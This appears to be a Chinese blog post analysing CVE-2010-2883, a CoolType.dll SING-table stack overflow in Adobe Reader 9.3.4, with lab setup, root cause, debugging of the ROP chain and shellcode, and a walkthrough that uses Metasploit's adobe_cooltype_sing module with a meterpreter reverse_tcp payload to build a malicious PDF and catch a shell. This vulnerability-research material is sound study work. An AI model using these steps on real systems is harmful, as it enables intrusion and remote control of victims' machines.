分析环境
- 漏洞软件
- adobe reader 9.3.4
- 运行环境
- windows xp sp3
- 静态分析工具
- IDA 7.0 MacVersion
- 动态调试器
- OD1.1
- 模拟攻击主机
- kali 2018.1
- pdf object提取器
- PDF Stream Dumpe
环境搭建注意事项
- adobe reader 下载地址 adobe reader 9.x
- adober reader 在虚拟机下的安装
- 因为虚拟机通常都是一个盘,这个默认安装需要有一个d盘(问题跟本用不着D盘),因此以一直报错
- 在终端输入 subst D: %temp% 临时创建一个d盘
静态分析漏洞成因
在CoolTy.dll 中,发现解析SING表的时候,没有验证uniqueName的长度,使用strcat进行拼接字符串的时候,没有对长度进行验证,导致栈溢出。
具体原因见下图:
攻击样本生成
使用msf生成攻击样本
search adobe_cooltype_sing
通过这个图可以看到,第一个是browser的,第二个是文件格式的,肯定选第二个
use exploit/windows/fileformat/adobe_cooltype_sing
使用info
查看exploit信息
调用meterpreter载荷,反向连接到靶机机set payload windows/meterpreter/reverse_tcp
使用 show options
显示需要设置的选项
对参数进行设置,并输入exploit
命令生成样本
使用MSF监听肉鸡
使用handler监听模块 use exploit/multi/handle
回弹一个tcp连接
设置基本信息后,使用exploit
开启监听
目标靶机运行样本
adobe reader 打开pdf文件
已经连接到kali,并获得权限
样本exploit 提取
通过PDF Stream Dumpe提取TTG文件,下载链接
通过搜索字符串,找到了SING表所在的位置
右键单击,Save Decompressed Streams
SING表的定义
typedef sturct_SING
{
char tag[4];//"SING"
ULONG checkSum;//校验和
ULONG offset;//相对文件偏移
ULONG length;//数据长度
} TableEntry;
也就说,通过截图
得知
0x53494e47是tag[4]
0xd9bcc8b5是校验和
0x0000011c是相对文件偏移
0x00001ddf是数据长度
通过 ULONG offset 可以得知 ,0x11c是相对于文件的偏移,这个地方就是SING的数据结构
然后SING数据结构再偏移0x10个字节,就是uniqueName的位置,设计的时候共28个字节的大小
动态调试
打开adobe reader,打开od,附加到adobe reader上,然后加载有问题的pdf文件
可以发现在断下来的时候,断在了CoolType这个模块
通过汇编代码可以发现,是取了uniqueName之后,直接复制到esp所在的位置处
执行程序,对strcat拼接后的空间下内存访问断点
发现直接把ebp之后的位置都覆盖了,这里原始的逻辑就有问题
F9运行
一直在循环比较,删掉断点,执行到返回,然后重下内存断点f9
继续跟,发现断在了ROP链0x4a80cb33
紧接着就是一串top,通过栈中的信息可以发现,首先调用的是CreateFile
这个api
然后通过其参数 ,发现创建了一个iso88951
的文件
接着执行rop链,发现接下来调用的api是CreateFileOfMapping
并且对这个内存设置了可读,可写可执行
又一片rop链之后,调用了MapViewOfFile
最后调用的memcpy,把shellcode复制到了映射的内存区域执行
shellcode
因为我们的样本是msf生成的,都知道是一个tcp连接,那么大体的步骤我们也就知道了,就是shellcode这次的加密方式有点特点,特地截个图
也是一个异或加密,但是xor的种子不是固定的,是用shellcode进行动态异或的
The post CVE-2010-2883 漏洞分析 appeared first on cole.
https://ift.tt/2OvXuj7 Assembly, information security, vul, cve-2010-2883, 漏洞分析 September 18, 2018 at 11:27AM
评论
发表评论